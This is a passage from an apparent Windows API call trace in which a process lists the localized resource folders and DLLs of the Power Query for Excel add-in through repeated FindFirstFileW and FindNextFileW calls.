ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.254] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1329a43, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1329a43, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.254] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf71003, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xfbd422, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.255] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63a12a0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf63a12a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.255] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63a12a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63a12a0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf63a12a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0279.255] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0279.256] GetProcessHeap () returned 0xaf0000 [0279.256] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.256] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0279.256] GetProcessHeap () returned 0xaf0000 [0279.256] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.256] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sk\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.257] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.257] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd09866, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd09866, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.258] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.258] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69be349, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69be349, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a0a7fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.258] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.258] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0279.258] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0279.260] GetProcessHeap () returned 0xaf0000 [0279.260] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.260] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0279.260] GetProcessHeap () returned 0xaf0000 [0279.260] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.260] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sl\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0279.262] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.262] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e78ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e78ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.262] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8b74ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8b74ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8b74ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.262] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.262] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x86040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.262] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x86040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0279.262] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0279.263] GetProcessHeap () returned 0xaf0000 [0279.263] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.263] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1 [0279.264] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Cyrl", cAlternateFileName="")) returned 1 [0279.264] GetProcessHeap () returned 0xaf0000 [0279.264] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.264] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Cyrl\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0279.265] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.265] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ab054a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.265] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf05741b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf05741b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.265] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.266] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e7d566, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e7d566, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaaaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.266] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e7d566, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e7d566, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaaaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0279.266] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0279.267] GetProcessHeap () returned 0xaf0000 [0279.267] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.267] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn", cAlternateFileName="")) returned 1 [0279.267] GetProcessHeap () returned 0xaf0000 [0279.267] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.267] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.269] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.269] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d05722, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.269] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb94fd84, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb94fd84, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb99c21f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.269] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b14875, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b14875, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b3aadd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.269] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x86aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.269] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x86aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0279.269] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0279.565] GetProcessHeap () returned 0xaf0000 [0279.565] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0279.565] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0279.565] GetProcessHeap () returned 0xaf0000 [0279.565] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.565] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sr-Latn-CS\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.566] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.566] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae953d0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae953d0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaebb622, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, 